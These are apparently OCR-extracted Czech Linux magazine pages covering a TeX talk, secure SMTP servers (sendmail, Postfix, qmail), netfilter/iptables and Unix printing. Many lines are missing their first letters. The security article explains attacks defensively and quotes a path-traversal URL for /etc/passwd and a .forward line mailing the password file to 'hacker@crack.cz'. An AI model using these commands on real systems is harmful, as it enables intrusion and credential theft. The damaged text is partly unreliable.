Pan Hagen rozebral v úvodu výhody a nevýhody formátu
DF jako prostředku pro přenos informacı́ a dále se věno-
al problému, kdy (ne)použı́t TEX. TEX se ukazuje jako vel-

mi vhodný prostředek pro kvalitnı́ typografické zpracová-
ı́ dokumentů pravidelné struktury, jejichž sazbu lze dobře

algoritmizovat.
Dále byly rozebrány základnı́ charakteristiky (před ně-

olika lety se u nás řı́kalo „špecifiká“) interaktivnı́ch doku-
mentů. Je třeba počı́tat s omezenı́mi, která přinášı́ použi-
tá technologie a na druhé straně je škoda nevyužı́t mož-
nostı́. Pak lze těžko rozlišit, co je ještě dokument a co je

rogram. Představte si zkoušku z angličtiny, při které vám
PDFko nabı́zı́ možnosti doplňovánı́ slov, a když slovo vy-
berete, je do dokumentu nejen vloženo (to by nebylo nic

oc), ale odstavec je vysazen, takže vypadá zcela dokona-
le, i když jste vybrali nejméně dobrou ze všech možnostı́.

Zbytek tutoriálu byl věnován tématům důležitosti struk-
urovaného a flexibilnı́ho kódovánı́ dokumentů a tomu, jak

si můžeme takové dokumenty navrhnout a vytvořit sami.
Hans Hagen si vzal za cı́l touto přednáškou ukázat, že

uživatelé TEXu se mohou dostat až na hranice možnostı́
vorby dokumentů. Myslı́m, že se mu to podařilo, stejně ja-
o se podařilo CSTUGu připravit dva dny plné zajı́mavých

informacı́.

očı́tačová bezpečnost a Linux II –
ezpečné SMTP služby

Jarda Cmunt

´vod

minulém dı́le jsem slı́bil, že se dnes budeme zabývat ná-
radou standardnı́ch služeb jejich zabezpečenými alternati-
ami (dnes službou SMTP). Tomuto tématu se věnuji v dru-
é části článku. Na úvod se bude dobré seznámit s metoda-
i, které crackeři použı́vajı́ k pronikánı́ do systémů pomocı́

oftwarových chyb v různých programech.
Prvnı́ často využı́vanou chybou je buffer overflow. Prin-

ip byl popsán v Linuxových novinách v březnu roku 1998
zájemci najdou komplexnı́ popis v časopise Phrack (1)
článku Smashing the stack for fun and profit, který na-

sal Aleph One a najdete ho v čı́sle 49, soubor 14. Výhodou
éto chyby, samozřejmě z pohledu útočnı́ka, je, že mu do-
11
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káže zajistit práva programu, ve kterém ji dokáže vyvolat.
erčem lokálnı́ch útoků (útočnı́k již zı́skal neprivilegovaný

´čet) jsou suid (přı́padně sgid) root programy (v minulosti
apř. ping nebo mount), terčem vzdáleného útoku se stá-
ajı́ démoni zajišt’ujı́cı́ jednotlivé služby, zejména ti, kteřı́
ěžı́ s právy uživatele root. Nedávnými obět’mi byli např.
ind (nejrůznějšı́ druhy chyb), wu-ftpd (přetečenı́ bufferu
ři mazánı́ přı́liš dlouhého adresáře, tato vadná verze je
oučástı́ např. Redhat 5.0), mezi vděčné služby patřı́ také

pop3, imap, RPC služby obecně a dalšı́.
Dalšı́ běžnou chybou je nedostatečná kontrola požadav-

ku u služeb, které umožňujı́ zı́skávat ze serveru soubory,
nebo je na něj zapisovat. Jde zejména o ftp a http (bude-

e mluvit pouze o softwarových chybách, nikoliv o chybné
konfiguraci). Asi nejstaršı́m druhem útoku je pokus o zı́s-
kánı́ souboru /etc/passwd nějakou takovouto konstruk-
cı́: http://www.obet.cz/../../../../etc/passwd.

yto chyby by měly být u současných běžně použı́vaných
émonů (Apache a dalšı́) minulostı́. Mnohem zajı́mavějšı́
ariantou jsou útoky na CGI skripty. Překvapivě mnoho
GI skriptů má nejrůznějšı́ chyby, které umožnı́ zı́skat klı́-
ové systémové soubory. Samostatnou kapitolu potom tvo-
ı́ PERL skripty. PERL je velmi mocný jazyk pro zpracovánı́
extů, a proto se v této oblasti často použı́vá. Programáto-
i bohužel majı́ jen malé povědomı́ o bezpečnosti, a proto
ezstarostně vytvářejı́ různé nebezpečné konstrukce, což
peciálně v PERLU nenı́ žádný problém. Zajı́mavý článek
ěnovaný tomuto tématu vyšel opět v Phracku, čı́slo 55,
oubor 07. Jsou zde mimo jiné i rozbory několika veřejně
ostupných skriptů s ukázkami běžných chyb při zpraco-
ánı́ parametrů atd.

Lehkou práci bude útočnı́k mı́t, může-li na disk nepri-
ilegovaně zapisovat, v ideálnı́m přı́padě připojit záznam
novém uživateli s uid 0 do /etc/passwd, přidat záznam

do cronu, inetd, nebo vytvořit soubor .rhosts v adresá-
i některého uživatele, nejlépe roota. V tomto přı́padě jsou
ožnosti netušené, a záležı́ jen na fantazii útočnı́ka, jakou

metodu použije, zda si nechá požadované soubory poslat
e-mailem, nebo si vytvořı́ do systému zadnı́ vrátka.

Dalšı́ možnostı́, která souvisı́ s tématem tohoto článku,
sou některé potenciálně nebezpečné vlastnosti (tedy niko-
iv chyby) různých programů. Možnosti jejich využitı́ závi-
ı́ zcela na okolnostech, konfiguraci serveru atd. Jako přı́-
lad uved’me možnost spouštět přı́kazy v souboru .forward
použı́ván sendmailem). Pokud se útočnı́kovi podařı́ ten-
o soubor vytvořit v domácı́m adresáři některého uživate-
e, s obsahem např. "echo /etc/passwd | mail hac-
er@crack.cz", po zaslánı́ e-mailu tomuto uživateli obdr-
ı́ soubor s hesly. Dalšı́ nebezpečnou vlastnostı́, kterou jsme
mı́nili v minulém článku, je posı́lánı́ důvěrných údajů po
ı́ti v nešifrované podobě, ev. slabě šifrované, což umožňu-
e jejich odposlech. Sem patřı́ ftp, telnet a mnoho dalšı́ch
lužeb. Protože uživatelé většinou použı́vajı́ všude stejná
esla, jsou tyto informace pro útočnı́ka velmi užitečné.

Dále jen krátce některé dalšı́ možnosti: napřı́klad v PER-
LU může řetězec obsahovat znak ’\0’, což je v C konec
retězce. Takovýto znak vložený do parametru CGI skriptu
bude ovšem nižšı́ vrstvou (standardnı́ knihovna nebo ker-
nel) interpretován způsobem, který nebyl autorem skrip-
u očekáván, některé programy vytvářejı́ dočasné soubory

/tmp a ochotně následujı́ linky, které jim tam podstrčı́-
e, takže lze falšovat jejich pracovnı́ data, zapisovat do ne-

bo čı́st z námi požadovaných souborů apod, zkoušenı́ he-
sel na pop3 serveru, chyby ve standardnı́ knihovně nebo
kernelu, se kterými nepočı́táte atd.
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Proti některým věcem, jako např. falšovánı́ obsahu DNS
ebo ARP cache, se lze bránit opravdu těžko, a protože ne-
padajı́ do dnešnı́ho tématu, budeme se jimi zabývat někdy
ozději.

Pokud jste dočetli až sem a zı́skali dojem, že za tako-
ého stavu věcı́ lze server ochránit jen velmi těžko a s vy-
aloženı́m přı́liš velkého množstvı́ energie, neházejte ještě
intu do žita. Skutečnost je taková, že proti naprosté větši-
ě crackerů se dokážete bránit za relativně přijatelnou ce-
u, nebot’ ve většině přı́padů jde o uživatele nejrůznějšı́ch
ěžně dostupných crackerských nástrojů bez valných tech-
ických znalostı́. Při dodrženı́ určitých pravidel dokážete
abezpečit server tak, že skutečnou hrozbou pro vás bude
ouze malá skupina profesionálů. I proti nim lze podnik-
out mnohé a k těmto pokročilým metodám zabezpečenı́,
teré zahrnujı́ i takové věci, jako odolnost proti sociálnı́-
u inženýrstvı́, falšovánı́ všeho druhu apod., se dostaneme

ěkdy později.
A nynı́ můžeme přistoupit k našim programům a démo-

ům.

ezpečné SMTP služby

MTP patřı́ mezi základnı́ služby, které bude provozovat
otenciálně každý, kdo se připojı́ k Internetu, a i mnoho
ěch, kteřı́ je budou provozovat pouze v rámci lokálnı́ sı́tě.
atřı́ tedy mezi prvnı́ kandidáty na zabezpečenı́. V tomto
řı́padě máme naštěstı́ na výběr ze dvou kvalitnı́ch řešenı́.

V Linuxu bývá často jako defaultnı́ SMTP démon insta-
ován a použı́ván sendmail, který nenı́ považován za přı́liš
ezpečný, a který navı́c trpı́ některými koncepčnı́mi nedo-
tatky. Kvůli jeho rozšı́řenosti si na něm ovšem mnoho uži-
atelů vypěstovalo takovou závislost, že ho prostě nemohou
ahradit něčı́m jiným bez vynaloženı́ značného úsilı́ (zejmé-
a v prostředı́, kde se stará o doručovánı́ pošty pro stovky
ebo tisı́ce klientů v různých doménách apod.), proto se
ejprve budeme zabývat možnostmi jeho zabezpečenı́.

V prvnı́ řadě byste měli udržovat sendmail na nejnovějšı́
erzi. Bezpečnost kódu se zlepšila, a je šance, že nově ob-
evené chyby budou odstraněny dřı́ve, než je někdo využije

průniku zrovna do vašeho serveru.
Druhou, u sendmailu vı́ceméně teoretickou, možnostı́ je

eho provozovánı́ v chroot() prostředı́. To má ovšem několik
evýhod. Prvnı́ je obtı́žnost jeho zprovozněnı́, druhou mož-
ost jeho prolomenı́, nebot’ sendmail je jeden monolitický
rogram běžı́cı́ se superuživatelskými právy. Jedinou výho-
ou je možnost oklamánı́ naivnějšı́ch crackerů. Pracnost
éto metody se může vyrovnat pracnosti přechodu na jiný
MTP server.

Konečně třetı́ možnostı́ je filtrovánı́ přı́stupu k sendmai-
u z Internetu nebo lokálnı́ sı́tě podle způsobu jeho použitı́.
ı́m se snı́žı́ počet možných útočnı́ků.
Čtvrtou, nejbezpečnějšı́, v mnoha přı́padech však nejmé-

ě schůdnou, volbou je postupný přechod na jednu z dále
vedených alternativ.

ostfix

ostfix je prvnı́m bezpečným SMTP serverem, kterým se
udeme zabývat. Byl psán přı́mo jako náhrada sendmailu,
tak se vyznačuje značnou kompatibilitou. Je produktem

rmy IBM a byl napsán Wietse Venemou. Vzhledem k tomu,
ˇe se autoři snažı́ o co největšı́ rozšı́řenı́, byl zveřejněn pod
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pen Source licencı́. Bezpečnost patřila při vývoji na prvnı́
mı́sto, a tak patřı́ mezi to nejlepšı́, co můžete najı́t.

Mezi jeho významné vlastnosti patřı́:
– bezpečnost – Postfix je rozčleněn na několik malých

rogramů, z nichž každý dělá pouze jednu věc a dokáže spo-
lupracovat s ostatnı́mi. Až na démona zajišt’ujı́cı́ho lokálnı́

oručovánı́ běžı́ všechny části se snı́ženými právy a mohou
racovat v chroot() prostředı́. Žádný program nenı́ setuid.

Navı́c jednotlivé komponenty nedůvěřujı́ žádným informa-
ı́m zı́skaným z okolı́ (včetně zpráv sloužı́cı́ch ke vzájemné

komunikaci) a vše pečlivě ověřujı́.
– výkon – Postfix patřı́ mezi nejvýkonějšı́ SMTP serve-

ry. Bežné desktopové PC dokáže zpracovat až milión růz-
ých zpráv denně. Ke snı́ženı́ zátěže systému při vytvářenı́
ových procesů použı́vá podobné triky jako HTTP servery.

– kompatibilita – jak jsme již uvedli, Postfix se snažı́
o maximálnı́ kompatibilitu se sendmailem. Protože se au-
oři snažili o co největšı́ snadnost konfigurace, nenı́ kompa-

tibilnı́ se sendmail.cf. Nicméně podporuje formát mail-
box, soubory /etc/aliases, .forward atd.

– flexibilita – vzhledem ke zmı́něnému rozdělenı́ funkč-
osti mezi různé démony je možné selektivně přidávat nebo
bı́rat určité funkce. Při specifických požadavcı́ch je možné

některé démony zcela nahradit jinými.
– Postfix dále podporuje virtuálnı́ domény a dalšı́ pokro-

ilé vlastnosti, které se od programů tohoto typu očekávajı́.
Postfix najdete na adrese (2).
V přı́padě, že uvažujete o náhradě sendmailu, může být

Postfix tou nejméně bolestnou cestou vzhledem k jeho
načné kompatibilitě, dosaženou bezpečnost lze přitom po-
ažovat za velmi kvalitnı́. Pokud je pro vás bezpečnost tı́m
ejdůležitějšı́m, můžete nasadit kalibr největšı́ dostupné rá-

že: qmail.

Qmail

ři vytvářenı́ qmailu na něj byly kladeny ještě přı́snějšı́ po-
adavky než na Postfix, což vedlo k vytvořenı́ velmi kvalitnı́-
o produktu. O důvěře, kterou k němu autor Dan Bernstein

má, svědčı́ i to, že po jeho uvedenı́ byla vypsána odměna
e výši 1000$ za nalezenı́ chyby. Tuto odměnu se nepodařilo

nikomu zı́skat.
Použitı́ qmailu však může mı́t některá úskalı́, zejména

okud přecházı́te ze sendmailu. Předevšı́m, qmail nenı́ přı́-
liš kompatibilnı́. Většı́ kompatibility můžete dosáhnou po-
mocı́ některých balı́ků (např. podpora souborů .forward),
pokud ho však chcete využı́t naplno, nebude pro vás pře-
hod snadný. Qmail mimo jiné použı́vá jiný formát pro uklá-
ánı́ zpráv – maildir – který zaručuje stoprocentnı́ spolehli-
ost při jejich zpracovánı́. Tento formát zatı́m nenı́ podpo-

rován zdaleka všemi MUA (uved’me, že qmail dokáže pra-
covat i se standardnı́m formátem mailbox). Dalšı́m nedo-
statkem může být nepřı́liš rozsáhlá dokumentace, vzhle-
dem k jeho rozšı́řenı́ lze však očekávat podporu formou
mailing listů apod. A konečně, pro qmail neexistuje žádná
binárnı́ distribuce.

A nynı́ se podı́vejme na vlastnosti, které z něj dělajı́ tak
kvalitnı́ produkt:

– bezpečnost – stejně jako u Postfix je jeho funkčnost
ozdělena mezi několik malých programů. Pokud jde o dů-

věru ve své okolı́, je značně paranoidnı́. Nedůvěřuje přı́liš
ani standardnı́ knihovně, a jejı́ funkce bud’to zcela nahra-
zuje, nebo se alespoň nesnažı́ spoléhat na jejich správnou
funkčnost.
– spolehlivost – jak bylo řečeno, qmail použı́vá pro uklá-
ánı́ zpráv formát maildir. Každá zpráva je ukládána do ji-

ného souboru, což odstraňuje potı́že se zamykánı́m v přı́-
padě standardnı́ho mailboxu, a možnost jeho poškozenı́
v přı́padě výpadku systému. Zprávy jsou potvrzovány až

o kompletnı́m zápisu na disk, takže i jejich doručovánı́ je
spolehlivé.

– rychlost – dı́ky inteligentnı́mu návrhu je qmail rychlejšı́
než sendmail.

– POP3 – qmail obsahuje bezpečný POP3 server, který
vycházı́ ze stejné filosofie návrhu, jako celý qmail.

– mailing listy – i při základnı́ instalaci majı́ uživatelé
možnost konfigurovat si vlastnı́ jednoduché mailing listy.
Pro pokročilou správu sloužı́ balı́k ezmlm.

– a samozřejmě jsou tu dalšı́ vlastnosti jako virtuálnı́
omény, detekce smyček, dalšı́ balı́ky rozšiřujı́cı́ funkčnost

atd.
Domácı́ stránkou qmailu je (3).

Dalšı́ zabezpečenı́

I když oba uvedené programy jsou samy o sobě bezpečné,
chybou uživatele může dojı́t ke snı́ženı́ dosažené bezpeč-
nosti. Oba umožňujı́ uživateli definovat nějaké akce, kte-
ré se automaticky provedou nad došlým e-mailem. U Po-
stfixu je lze definovat v souboru ~/.forward a u qmai-
lu v souboru ~/.qmail (a dalšı́ch). Nejnebezpečnějšı́ ak-
ı́ je samozřejmě spouštěnı́ dalšı́ch programů, které nemu-
ı́ být přı́liš důvěryhodné, nebo se autorovi podařı́ vytvořit
eúmyslně nějakou nebezpečnou konstrukci, kterou doká-

ˇe útočnı́k zaslánı́m mailu zneužı́t, a kompromitovat tak
onto tohoto uživatele.

To samé platı́ pro MUA, zejména textové, které čas-
o volajı́ metamail pro zpracovánı́ mime zásilek. Soubor
etc/mailcap, kterým je metamail řı́zen, je tak ideálnı́m
ı́stem pro vytvářenı́ různých nebezpečných konstrukcı́.
V obou těchto přı́padech nejde o teoretické možnosti,

sou to způsoby, které jsou crackery skutečně občas použı́-
ány.

Dále je vhodné pamatovat na možnost využitı́ vašeho sy-
tému spammery. Část odpovědnosti v tomto přı́padě padá
na vás, a i když pravděpodobně nepůjde o právnı́ postih,
ůvěryhodnosti vám to nepřidá. Každý z uvedených pro-
ramů poskytuje nějaký způsob ochrany proti spamu a po-
žı́vánı́ neoprávněnými uživateli. Je vhodné je použı́t. Podle
ých zkušenostı́ je tento aspekt (nejen u nás) podceňován,
můžete bezstarostně posı́lat poštu přes snad každý druhý
MTP server, na který narazı́te.

Přı́ště: DNS a vzdálená správa.

1 Phrack

http://www.phrack.com
2 Postfix

http://www.postfix.org
3 Qmail

http://www.qmail.org

etfilter a iptables
Jarda Cmunt

okud jste se již vzpamatovali z přechodu z ipfwadm na ip-
hains, čeká vás s přı́chodem kernelu 2.4 dalšı́ velká změna.
irewalling kód v kernelu byl zcela přepsán a nový nástroj
ro správu filtrovánı́ packetů se jmenuje iptables.
13

http://www.phrack.com
http://www.postfix.org
http://www.qmail.org
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Hned na úvod jedna dobrá zpráva. Nový kód je zpětně
kompatibilnı́ jak s ipchains, tak s ipfwadm (filtrovacı́ pra-

idla lze spravovat pomocı́ těchto nástrojů), a autor je po-
dle svých slov hodlá podporovat až do roku 2003. I když
ste s ipchains plně spokojeni, můžete si přečı́st následujı́cı́

článek, nebot’ iptables přinášejı́ některé nové a značně vý-
znamné možnosti, jako např. stavové filtrovánı́ (jinak také
dynamické filtrovánı́).

Proč byl kód opět přepsán? Funkce jako filtrovánı́ pake-
tů, maškaráda nebo transparentnı́ proxy jsou v nynějšı́ch
jádrech spojeny, a to nejen v tom smyslu, že jsou spravo-
vány jednı́m nástrojem, ale i na úrovni implementace. To
vyšuje možnost zaváděnı́ nechtěných chyb do filtrovacı́ch
ravidel při současném použitı́ filtrovánı́ packetů a maška-

rády (iptables nynı́ skutečně pouze filtrujı́ a packety nijak
neměnı́).

Oddělenı́ těchto věcı́ v jádrech 2.4 má za následek jed-
noduššı́ použı́vánı́ nástroje iptables a vytvářená pravidla
jsou průhlednějšı́. To mimo jiné snižuje i možnost zavleče-

ı́ chyb při konfiguraci firewallu. Dalšı́ významnou změnou
je rozšiřitelnost všech těchto nástrojů.

NAT, maškaráda, port forwarding, reverse NAT (load
sharing) a dalšı́ jsou nynı́ spravovány nástrojem ipnatctl,
který opět sloužı́ pouze k tomuto účelu.

Vzhledem k tomu, že architektura se zcela lišı́ od ipcha-
ins popsaných v Linuxových novinách v březnu roku 1998,
bude vhodné, když se na nı́ podı́váme trochu detailněji.

etfilter

ákladem je netfilter framework, který je součástı́ jádra.
Ten definuje na cestě packetu TCP/IP stackem pět bodů,
ve kterých se mohou moduly jádra přihlásit k jejich odbě-
u a rozhodnout, zda packetu dajı́ šanci postoupit dál, ne-

bo zda bude zlikvidován. V každém bodě může být přihlá-
šeno libovolné množstvı́ modulů, a packety, pokud nejsou
14
některým zlikvidovány, jsou předány postupně všem. Pro
většı́ názornost si cestu packetu ukážeme na obrázku.

A to je vše, co se děje na této základnı́ úrovni. Netfil-
ter kromě toho nabı́zı́ už jen základnı́ infrastrukturu pro
komunikaci userspace vs. kernel, kterou lze použı́t k pře-

ávánı́ parametrů do modulů a zpětnému zı́skávánı́ stavo-
ých informacı́. Stejně jako u ipchains lze předávat packety

do userspace k dalšı́mu zpracovánı́, opět je to ovšem im-
plementováno jinak (cena za všechna tato zlepšenı́).

Iptables

ynı́ k vlastnı́mu filtru packetů. Ten je implementován sa-
ou modulů jádra, které je nutno zavést před vlastnı́m vy-

tvářenı́m filtrovacı́ch pravidel. Rozčleněnı́ na moduly růz-
ého druhu má několik výhod. Jednak můžete zavádět pou-

ze ty, které opravdu potřebujete, jednak samotné iptables
sou navrženy jako rozšiřitelné právě pomocı́ modulů jádra.
ako moduly lze přidávat jednak cı́le (na rozdı́l od ipchains

zde nejsou pouze základnı́ cı́le DENY, REJECT, ACCEPT
a uživatelem vytvořené řetězce, lze přidávat libovolné dal-
šı́), a také filtrovacı́ pravidla.

Aby tyto moduly byly spravovatelné pomocı́ nástroje
iptables, je i tento program navržen jako rozšiřitelný, a to
pomocı́ dynamických knihoven. Každý netriviálnı́ modul,
který vyžaduje předat nějaké parametry, má svůj doplněk
v dynamické knihovně pro iptables. Vše je navrženo tak,

by implementace byla co nejjednoduššı́, a dosti kvalitně
zdokumentováno.

Rozčleněnı́ na moduly má i dalšı́ kladný dopad. Kód pro
stavové filtrovánı́, který byl původně součástı́ NAT (con-
nection tracking) a implementován rovněž pomocı́ modu-
lů, je nynı́ sdı́len s iptables.

Cesta packetu filtrovacı́m kódem se lišı́ od ipchains a po-
skytuje většı́ nezávislost filtrovacı́ch pravidel na interfa-
ech. Bude dobré, když ji opět zobrazı́me graficky (viz dru-

hý obrázek).
Řetězec INPUT odpovı́dá bodu NF IP LOCAL IN

z předchozı́ho obrázku, řetězec FORWARD bodu
NF IP FORWARD a konečně řetězec OUTPUT bodu
NF IP LOCAL OUT.

Výhodou oproti předchozı́m implementacı́m je, že packet
rocházejı́cı́ řetězcem FORWARD, ve kterém se v běžných
řı́padech bude odehrávat většina filtrovánı́, vı́, jak o vstup-

nı́m, tak o výstupnı́m rozhranı́, nebot’ již bylo rozhodnuto
o jeho směrovánı́.

Vzhledem k tomu, že vytvářenı́ filtrovacı́ch pravidel se
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ijak zvlášt’ nelišı́ od ipchains (jsou zde syntaktické změny,
oncepce funkce je ale podobná), budeme se dále zabývat
ouze funkcemi, které iptables nabı́zejı́ navı́c. Popis přı́ka-

zu iptables (a ipnatctl) naleznete v balı́ku netfilter, který
najdete na adrese (1).

Prvnı́ významnou, a zřejmě nejdůležitějšı́ změnou, je sta-
ové filtrovánı́. Při konstrukci filtrovacı́ho pravidla můžete
ohlednit stav socketu, ke kterému procházejı́cı́ packet pat-

rı́. Rozlišované stavy jsou tyto:
– NEW – jde o packet, který vytvářı́ nový socket.
– ESTABLISHED – packet, který lze přiřadit některému

již probı́hajı́cı́mu spojenı́.
– RELATED – packet, který se vztahuje k nějakému pro-

ı́hajı́cı́mu spojenı́, ale nenı́ jeho součástı́ (např. ICMP zprá-
va o chybě).

– INVALID – packet, který nelze přiřadit žádnému spo-
jenı́. Tyto packety by měly být likvidovány.

Budeme-li tedy např. chtı́t zvýšit odolnost systému pro-
ti stealth port scanům, můžeme to zajistit tı́m, že bude-
me likvidovat packety s nastaveným FIN flagem a stavem
INVALID.

Dalšı́ možnost je zmı́něna v předchozı́m odstavci.
iptables umožňujı́ rozlišovat jednotlivé flagy v TCP hlavič-
ce a filtrovat packety podle nich. V ipchains bylo možné
detekovat pouze nastavený SYN flag.

Dále je možné filtrovat podle TCP options nebo MAC
adresy.

A konečně je zde pravidlo limit, které je možné použı́t
napřı́klad k omezenı́ logovánı́ v některém řetězci. U toho

ravidla můžeme nastavit maximálnı́ počet shod za sekun-
du a omezit tak přeplňovánı́ logu v řetězci, u kterého lze
očekávat velký počet shod.

V současné době jsou iptables ve vývoji, takže je možné,
e počet nových vlastnostı́ se před uvedenı́m jader řady 2.4

ještě zvětšı́.
Netfilter je součástı́ současných vývojových jader 2.3, tak-

e pokud ho chcete vyzkoušet, přı́padně začı́t vyvı́jet vlast-
nı́ moduly, potřebujete instalovat nejnovějšı́ jádro této řa-
dy a balı́k netfilter v výše uvedené adresy, který obsahuje
implementaci iptables, ipnatctl a dokumentaci.

Informace o mailing listu pro netfilter naleznete na téže
drese (jde spı́še o vývojářský list než o technickou podpo-

ru).

1 netfilter

http://www.samba.org/netfilter/

Tiskárny v Unixu
Petr Olšák, 4. ledna 2000

Na konci roku 1999 koupila naše katedra několik nových
iskáren a já jsem je připojoval do našı́ heterogennı́ sı́tě po-

stavené na unixových serverech. Rozhodl jsem se sepsat
zkušenosti s tı́m spojené do článku, který můžete použı́t
ako jakési hautú, ovšem forma článku je určena pro Linu-

xové noviny.

Teorie

taré unixové aplikace vytvářely pouze holý textový výstup
a předpokládalo se, že ten může být tištěn na tiskárnách.
Řádkové tiskárny (Line PRinter, proto program lpr) holé
texty tiskly bez problémů a nic vı́ce se neřešilo. Jakmile
vznikly modely tiskáren, které umějı́ tisknout grafiku, vý-
ojáři firmy Adobe navrhli velmi dobrý standard, který po-
isuje pokyny pro tisk grafiky – jazyk PostScript. Jedná se
lidsky čitelný programovacı́ jazyk. Unixové tiskové spoo-

lery tedy nadále obsahujı́ textové soubory: bud’ skutečné
olé texty určené pro řádkové tiskárny nebo PostScript,
rčený pro grafické tiskárny. Pokud unixové aplikace na-
ı́zejı́ možnost tisknout grafiku, musejı́ mı́t v sobě zabu-
ován generátor PostScriptu. Žádné rozhranı́ se systémem
ři programovánı́ tiskových algoritmů v aplikacı́ch se nevy-

užı́vá.
PostScript by měla umět zpracovat každá tiskárna

chopná grafického provozu. To je bohužel jen sen. Někte-
ré tiskárny rozumějı́ pouze svému vlastnı́mu jazyku, který
je od mezinárodnı́ho standardu (jakým je PostScript) na
hony vzdálen. V lepšı́m přı́padě je tento jazyk tiskárny vý-
obcem zveřejněn a programátoři z komunity volného soft-

ware pro něj napı́šı́ modul do Ghostscriptu. Pak je mož-
no zařadit do tiskového spooleru filtr, který volá program

hostscript. Ten umı́ interpretovat PostScript a prostřed-
nictvı́m zmı́něného modulu jej převede na jazyk tiskárny.

ento výstup se pošle přı́mo na port tiskárny. Tiskárna se
pohledu unixového uživatele jevı́ jako schopná zpracovat
ostScript. Že problém řešı́ nějaký Ghostscript na tisko-
ém serveru nemusı́ uživatele zajı́mat.

V horšı́m přı́padě výrobce hardwaru nezveřejnı́ jazyk tis-
árny, ale některý programátor volného software se přesto
okusı́ experimenty, pokusy a omyly zjistit, jak se dá s tis-
árnou domluvit, a napı́še k tomu modul do Ghostscriptu.
ı́m je úloha převedena na předchozı́ přı́pad, ovšem s tı́m,

ˇe se zřejmě nepodařı́ využı́t všechny hardwarové schop-
osti tiskárny. V ještě horšı́m přı́padě se programátoři vol-
ého software danou tiskárnou vůbec nezabývajı́ a nehod-

ajı́ zabývat (protože napřı́klad výrobce nezveřejnı́ technic-
ou specifikaci zařı́zenı́ a oni nemajı́ potřebu na něm tisk-
out). V takovém přı́padě existuje jediná rada: takovou tis-
árnu nekupujte!

To je ovšem rada za všechny penı́ze. Zkuste zajı́t za pro-
avačem počı́tačového vybavenı́ s dotazem, zda pro jazyk
abı́zené tiskárny existuje modul do Ghostscriptu. Z nej-
yššı́ pravděpodobnostı́ vám prodavač nebude rozumět.
dyž mu vysvětlı́te, že je to velmi důležité, protože jinak
a té tiskárně nepůjde vůbec tisknout, bude prodavač ar-
umentovat, že přece v dodávce je CDčko s ovladačem
ro Woknous, takže jakýpak problém. Je tedy potřeba vy-
ašlat se na prodavače a důkladně prohlédnout informace
Ghostscriptu na Internetu včetně možnostı́ jeho modu-

ů s návaznostı́ na typ tiskárny, kterou zamýšlı́te zakoupit.
e také možné se plácnout přes kapsu a koupit tiskárnu,
terá sama umı́ PostScript. Pak jste při připojenı́ k Unixu
cela bez problémů.

ahlédnutı́ do oken

rotože v našı́ katedernı́ sı́ti existujı́ stále zatvrzelı́ uživatelé
oužı́vajı́cı́ MS Woknous, krátce se zmı́nı́m o technických
rincipech tisku z tohoto operačnı́ho systému.

Aplikace, která má vytvářet tiskový výstup, musı́ dávat
okyny o vzhledu stránky přı́mo operačnı́mu systému pro-
třednictvı́m aplikačnı́ho interfejsu (API). Je to něco po-
obného jako systémové volánı́ v Unixu. Tı́m se aplikace
tává sice nezávislou na typu připojené tiskárny, ale záro-
eň se stává těžce závislou na Woknous. Pro srovnánı́ při-
omeneme, že unixová aplikace generuje PostScript, což je
15
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azyk zcela nezávislý na použitém operačnı́m systému. Tis-
ové algoritmy unixové aplikace můžeme tedy snadno pře-

nést na libovolný jiný operačnı́ systém (s výjimkou Wok-
nous). Přepsat ale programový kód tisku ve Woknousové
aplikaci znamená napsat vše zcela znovu. Nezávidı́m pro-

ramátorům, kteřı́ vsadili na Woknous a nynı́ musejı́ přepi-
sovat rozsáhlé kusy svých programů pro použitı́ v rozum-
nějšı́ch operačnı́ch systémech.

Tiskové pokyny z aplikace jsou zpracovány systémem
oknous a jsou dále předávány jednotnému rozhranı́ všech

iskových ovladačů pro Woknous. Tiskový ovladač (dodáva-
ý výrobcem tiskárny) z nich vygeneruje jazyk, kterému ro-
umı́ daná tiskárna a výsledek pošle do spooleru. Odtud se

úloha vytiskne. Vidı́me tedy dalšı́ rozdı́l. Zatı́mco v unixo-
vých spoolerech máme pro grafický tisk pouze PostScript
bez závislosti na typu tiskárny, ve Woknousových spoole-
ech je vždy úloha předžvejkaná do jazyka tiskárny. Taková

úloha může být mnohonásobně objemnějšı́, než kdyby zů-
tala v PostScriptu. Na Woknousové spoolery je tedy často
otřeba vymezit vı́ce mı́sta. Dalšı́ nevýhodou je, že při pro-

blémech s tiskem se nedá ve Woknous snadno přijı́t, kde
je chyba. V Unixu můžeme při problémech zachytit Post-

cript ve spooleru a důkladně si jej prohlédnout (textovým
ditorem a Ghostscriptem). Ve Woknous můžeme sice také
achytit soubor ve spooleru, ale nebude nám to nic platné,

protože jazyk tiskárny je většinou binárnı́ a člověku zcela
nesrozumitelný.

Všimneme si dalšı́ho důležitého rozdı́lu mezi Unixem a
Woknous. Každá stanice s Woknous musı́ mı́t instalovány

šechny ovladače pro všechny sı́t’ově viditelné tiskárny. Do
ı́tě posı́lá předžvejkanou úlohu už v jazyce tiskárny. Nákup
ové tiskárny připojené do sı́tě tedy obnášı́ obejı́t všechny
oknousové klienty s disketou nebo CDčkem a do zblbnu-

tı́ instalovat ovladač. Na druhé straně unixový filtr, který
spouštı́ Ghostscript pro převedenı́ PostScriptu do jazyka
tiskárny, je instalován až na konci řetězce, tedy na tisko-
vém serveru, ke kterému je tiskárna připojena. Jednotli-
vı́ unixovı́ klienti nepotřebujı́ instalovat žádný doprovod-
ný software pro danou tiskárnu. Uživatelům pošleme jen

-mail, že majı́ do svého printcapu přidat jeden nový řá-
ek, a o vı́ce se nestaráme. Méně poučeným uživatelům to

uděláme sami pomocı́ ssh, aniž bychom museli zvednout
zadek ze židle.

Dalšı́m problémem ve Woknous je skutečnost, že začaly
cela ignorovat možnost tisku na starých řádkových tiskár-

nách. Nelze jednoduše poslat tiskárně prostý textový sou-
bor k vytištěnı́ bez toho, aby jej Woknousy nepřeložily do
sekvence grafických pokynů. Viděl jsem, jak uživatel Wok-
nous zpracoval PostScriptový soubor pro PostScriptovou
tiskárnu. Řeknu vám, byl to zážitek. Nejprve natáhl Post-

criptový soubor do Woknousového GhostWiew a dal poža-
davek k tisku. GhostView byl konfigurován tak, že spustil

hostscript pro interpretaci PostScriptu a vytvořil sekven-
i grafických pokynů na úrovni API. Woknousy to zpracova-

ly a předaly ovladači pro tiskárnu. Ovladač z toho vygene-
roval nový PostScript, který předal tiskárně. Tiskárna ten
PostScript interpretovala znovu. Skutečnost, že to vůbec
fungovalo, je přece úžasná!

Uživatel Woknous má jistě dalšı́ možnosti. Objevil jsem
tuto: na velmi nelogickém mı́stě v systému konfigurač-
